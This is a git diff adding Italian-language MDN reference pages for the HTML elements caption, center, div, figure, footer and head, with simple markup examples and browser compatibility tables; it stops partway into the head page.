diff --git a/files/it/web/html/element/caption/index.html b/files/it/web/html/element/caption/index.html
new file mode 100644
index 0000000000..6720653745
--- /dev/null
+++ b/files/it/web/html/element/caption/index.html
@@ -0,0 +1,134 @@
+---
+title: <caption>
+slug: Web/HTML/Element/caption
+translation_of: Web/HTML/Element/caption
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code><strong>&lt;caption&gt;</strong></code> rappresenta il titolo di una tabella.</p>
+
+<div class="note"><strong>Nota</strong>: Quando l'elemento {{HTMLElement("table")}} genitore di un elemento {{HTMLElement("caption")}} è l'unico discendente di un elemento {{HTMLElement("figure")}}, usare l'elemento {{HTMLElement("figcaption")}} al posto di questo.</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuto</a></dfn> Nessuna.</li>
+ <li><dfn>Contenuto permesso</dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuto di flusso</a>.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn> Un elemento {{HTMLElement("table")}}, del quale deve essere il primo figlio.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLTableCaptionElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento accetta gli <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">attributi globali</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecatedGeneric('inline','HTML4.01')}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>Questo attributo indica l'allineamento di questo elemento rispetto alla tabella. Può assumere i seguenti valori:
+ <ul>
+  <li><code>left</code>, mostrato sulla sinistra della tabella</li>
+  <li><code>top</code>, mostrato prima della tabella</li>
+  <li><code>right</code>, mostrato sulla destra della tabella</li>
+  <li><code>bottom</code>, mostrato sotto la tabella</li>
+ </ul>
+
+ <div class="note"><strong>Nota: </strong>Non usare</div>
+
+ <div class="note">Do not use this attribute, as it has been deprecated: the {{HTMLElement("caption")}} element should be styled using <a href="/en-US/docs/CSS" title="CSS">CSS</a>. To give a similar effect to the <code>align</code> attribute, use the the <a href="/en-US/docs/CSS" title="CSS">CSS</a> properties {{cssxref("caption-side")}} and {{cssxref("text-align")}}.</div>
+ </dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Vedere la pagina {{HTMLElement("table")}} per esempi su {{HTMLElement("caption")}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tabular-data.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.2', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>Altri elementi collegati alle tabelle: {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}};</li>
+ <li>Proprietà CSS che sono particolarmente indicate per personalizzare l'elemento {{HTMLElement("caption")}} :
+  <ul>
+   <li>{{cssxref("text-align")}}, {{cssxref("caption-side")}}.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/center/index.html b/files/it/web/html/element/center/index.html
new file mode 100644
index 0000000000..ca5a3d70c8
--- /dev/null
+++ b/files/it/web/html/element/center/index.html
@@ -0,0 +1,51 @@
+---
+title: <center>
+slug: Web/HTML/Element/center
+translation_of: Web/HTML/Element/center
+---
+<div>{{deprecated_header()}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <strong><code>&lt;center&gt;</code></strong> è un elemento che può contenere paragrafi o altri elementi, che siano blocchi o inline. Il contenuto di questo elemento viene centrato orizzontalmente rispetto al suo contenitore (solitamente l'elemento {{HTMLElement("body")}}).</p>
+
+<p>Questo tag è deprecato a partire da HTML 4 (e XHTML 1) in favore della proprietà <a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a> {{Cssxref("text-align")}}, che può essere applicata ad un elemento {{HTMLElement("div")}} o ai singoli elementi {{HTMLElement("p")}}. Per centrare i blocchi usa altre proprietà CSS come{{Cssxref("margin-left")}} e {{Cssxref("margin-right")}}, e impostale ad <code>auto</code> (o importa {{Cssxref("margin")}} a <code>0 auto</code></p>
+
+<h2 id="Interfaccia_DOM">Interfaccia DOM</h2>
+
+<p>Questo elemento implementa l'interfaccia {{domxref("HTMLElement")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> fino a Gecko 1.9.2 incluso, FIrefox implementa l'interfaccia {{domxref("HTMLSpanElement")}}.</p>
+</div>
+
+<h2 id="Example_1" name="Example_1">Esempio 1</h2>
+
+<pre class="brush: html notranslate">&lt;center&gt;Questo testo verrà centrato
+&lt;p&gt;E anche questo paragrafo.&lt;/p&gt;&lt;/center&gt;
+</pre>
+
+<h2 id="Example_2" name="Example_2">Esempio 2 (usando i CSS)</h2>
+
+<pre class="brush: html notranslate">&lt;div style="text-align:center"&gt;Questo testo verrà centrato.
+&lt;p&gt;E anche questo paragrafo.&lt;/p&gt;&lt;/div&gt;
+</pre>
+
+<h2 id="Example_3" name="Example_3">Esempio 3 (usando i CSS)</h2>
+
+<pre class="brush: html notranslate">&lt;p style="text-align:center"&gt;Questa linea verrà centrata.&lt;br&gt;
+E anche questa.&lt;/p&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Nota</h2>
+
+<p>Applicando {{Cssxref("text-align")}}<code>: center</code> a un elemento {{HTMLElement("div")}} o {{HTMLElement("p")}} si centra <em>il contenuto</em> di questi elementi, non gli elementi stessi.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{Cssxref("text-align")}}</li>
+ <li>{{Cssxref("display")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/div/index.html b/files/it/web/html/element/div/index.html
new file mode 100644
index 0000000000..991fe0575c
--- /dev/null
+++ b/files/it/web/html/element/div/index.html
@@ -0,0 +1,137 @@
+---
+title: '<div>: The Content Division element'
+slug: Web/HTML/Element/div
+tags:
+  - Divisione di Contenuto
+  - 'HTML: Contenuti di flusso'
+  - Layout
+  - Web
+  - div
+translation_of: Web/HTML/Element/div
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'elemento <strong>HTML Content Division</strong> (<strong><code>&lt;div&gt;</code></strong>) è un contenitore generico per contenuti di flusso. Non ha alcun effetto sui contenuti fin quando non viene stilizzato attraverso CSS. In quanto contenitore "puro"</span>, l'elemento <code>&lt;div&gt;</code> di suo non rappresenta nulla. E' utilizzato piuttosto per raggruppare contenuti in modo da essere facilmente stilizzato attraverso gli attributi {{htmlattrxref("class")}} o {{htmlattrxref("id")}}, o per contrassegnare una sezione di un documento scritta in una lingua diversa (utilizzando l'attributo {{htmlattrxref("lang")}}), e così via.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorie di contenuti</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenuti di flusso</a>, contenuti palpabili.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenuti permessi</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenuti di flusso</a>.<br>
+    O (nella specifica HTML del <a href="/en-US/docs/Glossary/WHATWG">WHATWG</a>): Se il genitore è un elemento {{HTMLElement("dl")}}:uno o più elementi {{HTMLElement("dt")}} seguiti da un o più elementi {{HTMLElement("dd")}}, opzionalmente mischiati ad elementi {{HTMLElement("script")}} e {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omissione del tag</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Genitori permessi</th>
+   <td>Qualsiasi elemento che accetti <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">contenuti di flusso</a>.<br>
+    O (nella specifica HTML <a href="/en-US/docs/Glossary/WHATWG">WHATWG</a>): l'elemento {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Ruoli ARIA permessi</th>
+   <td>Qualsiasi</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaccia DOM</th>
+   <td>{{domxref("HTMLDivElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include gli <a href="/en-US/docs/Web/HTML/Global_attributes">attributi globali</a>.</p>
+
+<p>L'attributo<code>align</code> è obsoleto; non utilizzarlo. Piuttosto, bisognerebbe utilizzare le proprietà o tecniche CSS quali <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> o <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">CSS Flexbox</a> per allineare e posizionare gli elementi <code>&lt;div&gt;</code> all'interno della pagina.</p>
+
+<h2 id="Note_sull'utilizzo">Note sull'utilizzo</h2>
+
+<ul>
+ <li>L'elemento <code>&lt;div&gt;</code> dovrebbe essere utilizzato esclusivamente quando altri elementi semantici, (quali as {{HTMLElement("article")}} o {{HTMLElement("nav")}}) non sono più appropriati.</li>
+</ul>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Un_semplice_esempio">Un semplice esempio</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Qualsiasi contenuto, come
+  &amp;lt;p&amp;gt;, &amp;lt;table&amp;gt;. Decidi tu!&lt;/p&gt;
+&lt;/div&gt; </pre>
+
+<p>Il risultato apparirà così:</p>
+
+<p>{{EmbedLiveSample("Un_semplice_esempio", 650, 60)}}</p>
+
+<h3 id="Un_esempio_stilizzato">Un esempio stilizzato</h3>
+
+<p>Questo esempio crea un box dotato d'ombra, applicando uno stile al <code>&lt;div&gt;</code> usando CSS. Notare l'utilizzo dell'attributo {{htmlattrxref("class")}} sul<code>&lt;div&gt;</code> per applicare lo stile chiamato <code>"shadowbox"</code> sull'elemento.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="shadowbox"&gt;
+  &lt;p&gt;Qui troviamo una nota molto interessante
+  in un box dotato di un'amorevole ombra.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.shadowbox {
+  width: 15em;
+  border: 1px solid #333;
+  box-shadow: 8px 8px 5px #444;
+  padding: 8px 12px;
+  background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc);
+}</pre>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>{{EmbedLiveSample("Un_esempio_stilizzato", 650, 120)}}</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificatioe</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Nessun cambiamento dall'ultimo snapshot</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Attributo di stile <strong>align </strong>reso obsoleto</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da una struttura di dati. Se vuoi contribuire a questi dati per piacere controlla la pagina<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta di pull.</div>
+
+<p>{{Compat("html.elements.div")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Elementi di sezione semantici: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}</li>
+ <li>{{HTMLElement("span")}} per la stilizzazione di contenuti di enunciazione.</li>
+</ul>
diff --git a/files/it/web/html/element/figura/index.html b/files/it/web/html/element/figura/index.html
new file mode 100644
index 0000000000..6a1f4b019f
--- /dev/null
+++ b/files/it/web/html/element/figura/index.html
@@ -0,0 +1,170 @@
+---
+title: <figure>
+slug: Web/HTML/Element/figura
+tags:
+  - Element
+  - Image
+  - Information
+  - Presentation
+  - Reference
+translation_of: Web/HTML/Element/figure
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'elemento <strong>HTML <code>&lt;figure&gt;</code> </strong>rappresenta un contenuto indipendente che può avere una descrizione tramite l'elemento ({{HTMLElement("figcaption")}}).</span> L'immagine, la descrizione e il suo contenuto hanno riferimenti indipendenti.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figure.html","tabbed-shorter")}}</div>
+
+<div class="hidden">I sorgenti degli esempi di seguito sono pubblicati su un repository GitHub. Nel caso volessi contribuire, puoi clonare il seguente progetto <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviarci una pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="https://developer.mozilla.org/it/docs/Web/Guide/HTML/Categorie_di_contenuto">Categorie di contenuti</a></th>
+   <td><a href="https://developer.mozilla.org/it/docs/Web/Guide/HTML/Categorie_di_contenuto#Contenuto_di_flusso">Contenuti di flusso</a>, <a href="https://developer.mozilla.org/it/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">sezioni e struttura</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Contenuti permessi</th>
+   <td>L'elemento {{HTMLElement("figcaption")}}, seguito da <a href="https://developer.mozilla.org/it/docs/Web/Guide/HTML/Categorie_di_contenuto#Contenuto_di_flusso">contenuti di flusso</a>; o contenuti di flusso seguiti dall'elemento {{HTMLElement("figcaption")}}; o contenuti di flusso.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omissione del tag</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Genitori permessi</th>
+   <td>
+    <p>Qualsiasi elemento che accetti <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenuti di flusso</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Ruoli ARIA permessi</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaccia DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include gli <a href="https://developer.mozilla.org/it/docs/Web/HTML/Global_attributes">attributi globali</a>.</p>
+
+<h2 id="Note_sullutilizzo">Note sull'utilizzo</h2>
+
+<ul>
+ <li>Solitamente l'elemento <code>&lt;figure&gt;</code> è un'immagine, un'illustrazione, un diagramma, un frammento di codice, etc., relativo al flusso principale di un documento, ma che può essere posizionato in un'altra parte del documento o all'appendice senza impatti sul flusso principale.</li>
+ <li>Può essere associata una descrizione all'elemento <code>&lt;figure&gt;</code> inserendo l'elemento {{HTMLElement("figcaption")}} al suo interno (sia come primo che come ultimo figlio). Il primo elemento <code>&lt;figcaption&gt;</code> trovato sarà utilizzato come descrizione.</li>
+</ul>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Immagini">Immagini</h3>
+
+<pre class="brush: html">&lt;!-- Solo un'immagine --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.mozilla.org/static/img/favicon144.png"
+  alt="Il bellissimo logo MDN."&gt;
+&lt;/figure&gt;
+
+&lt;!-- Un'immagine con descrizione --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.mozilla.org/static/img/favicon144.png"
+  alt="Il bellissimo logo MDN."&gt;
+  &lt;figcaption&gt;MDN Logo&lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<div>{{EmbedLiveSample("Immagini", "100%", 375)}}</div>
+
+<h3 id="Frammenti_di_codice">Frammenti di codice</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;figcaption&gt;Ottieni dettagli sul browser utilizzando &lt;code&gt;navigator&lt;/code&gt;.&lt;/figcaption&gt;
+  &lt;pre&gt;
+function NavigatorExample() {
+  var txt;
+  txt = "Browser CodeName: " + navigator.appCodeName + "; ";
+  txt+= "Browser Name: " + navigator.appName + "; ";
+  txt+= "Browser Version: " + navigator.appVersion  + "; ";
+  txt+= "Cookies Enabled: " + navigator.cookieEnabled  + "; ";
+  txt+= "Platform: " + navigator.platform  + "; ";
+  txt+= "User-agent header: " + navigator.userAgent  + "; ";
+  console.log("NavigatorExample", txt);
+}
+  &lt;/pre&gt;
+&lt;/figure&gt;</pre>
+
+<div>{{EmbedLiveSample("Frammenti_di_codice", "100%", 250)}}</div>
+
+<h3 id="Citazioni">Citazioni</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;figcaption&gt;&lt;cite&gt;Edsger Dijkstra:&lt;/cite&gt;&lt;/figcaption&gt;
+  &lt;blockquote&gt;If debugging is the process of removing software bugs,
+  then programming must be the process of putting them in.&lt;/blockquote&gt;
+&lt;/figure&gt;
+</pre>
+
+<div>{{EmbedLiveSample("Citazioni")}}</div>
+
+<h3 id="Poemi">Poemi</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;p style="white-space:pre"&gt;
+Bid me discourse, I will enchant thine ear,
+  Or like a fairy trip upon the green,
+Or, like a nymph, with long dishevell'd hair,
+  Dance on the sands, and yet no footing seen:
+Love is a spirit all compact of fire,
+  Not gross to sink, but light, and will aspire.&lt;/p&gt;
+  &lt;figcaption&gt;&lt;cite&gt;Venus and Adonis&lt;/cite&gt;,
+    by William Shakespeare&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<div>{{EmbedLiveSample("Poemi", "100%", 250)}}</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>Nessun cambiamento da HTML 5.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.figure")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>L'elemento {{HTMLElement("figcaption")}}.</li>
+</ul>
diff --git a/files/it/web/html/element/footer/index.html b/files/it/web/html/element/footer/index.html
new file mode 100644
index 0000000000..ba6605bdeb
--- /dev/null
+++ b/files/it/web/html/element/footer/index.html
@@ -0,0 +1,119 @@
+---
+title: <footer>
+slug: Web/HTML/Element/footer
+translation_of: Web/HTML/Element/footer
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML <code>&lt;footer&gt;</code></strong> rappresenta il footer della sua <a href="/en-US/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Defining_Sections_in_HTML5">sezione</a> più vicina. Un footer solitamente contiene informazioni sull'autore della sezione, il copyright o link a documenti correlati.</p>
+
+<div class="note">
+<p><strong>Note d'uso</strong>:</p>
+
+<ul>
+ <li>Racchiudere le informazioni sull'autore in un elemento {{HTMLElement("address")}}, che può essere posizionato nell'elemento <code>&lt;footer&gt;</code></li>
+ <li>L'elemento <code>&lt;footer&gt;</code> non rappresenta una sezione del contenuto e quindi non introduce una nuova sezione nell'<a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">indice</a>.</li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuto</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, contenuti palpabili.</li>
+ <li><dfn>Contenuti permessi</dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, esclusi <code>&lt;footer&gt;</code> e {{HTMLElement("header")}}.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento che accett <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">contenuti di flusso</a>. Notare che un elemento <code>&lt;footer&gt;</code> non può essere discendente di un elemento {{HTMLElement("address")}}, {{HTMLElement("header")}} o di un altro <code>&lt;footer&gt;</code>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include solo gli <a href="/en-US/docs/HTML/Global_attributes">attributi globali</a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;footer&gt;
+  Il copyright o delle informazioni su di un articolo
+&lt;/footer&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light',sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0 (iOS 4.2)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi correlati alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("section")}}, {{HTMLElement("address")}};</li>
+ <li class="last"><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sezioni e indici nei documenti HTML5</a>.</li>
+</ul>
+
+<p class="last">{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/head/index.html b/files/it/web/html/element/head/index.html
new file mode 100644
index 0000000000..d59465ed2b
--- /dev/null
+++ b/files/it/web/html/element/head/index.html
@@ -0,0 +1,85 @@
+---
+title: <head>
+slug: Web/HTML/Element/head
+tags:
+  - HTML
+  - 'HTML:Metadata content'
+translation_of: Web/HTML/Element/head
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML <code>&lt;head&gt;</code></strong> contiene informazioni generali (metadati) sul documento, inclusi il titolo e link a o definizioni di script e fogli di style.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuti</a></dfn> Nessuna.</li>
+ <li><dfn>Contenuti permessi</dfn>Se l'elemento è un {{HTMLElement("iframe")}} {{htmlattrxref("srcdoc", "iframe")}}, o se il titolo è disponibilie tramite un protocollo di livello superiore, zero o più elementi contenenti metadati.<br>
+  Altrimenti, uno o più elementi contenenti metadati dei quali esattamente uno è un elemento {{HTMLElement("title")}}.</li>
+ <li><dfn>Omissione del tag</dfn>Il tag iniziale può essere omesso se la prima cosa nell'elemento <code>&lt;head&gt;</code> è un altro elemento.<br>
+  Il tag finale può essere omesso se la prima cosa che segue l'elemento <code>&lt;head&gt;</code> non è uno spazio o un commento.</li>
+ <li><dfn>Elementi genitore permessi</dfn>Deve esse il primo figlio di un elemento {{HTMLElement("html")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLHeadElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt>
+ <dd>Gli URI di uno o più profili di metadata, separati da uno spazio.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Titolo del documento&lt;/title&gt;
+  &lt;/head&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Note">Note</h2>
+
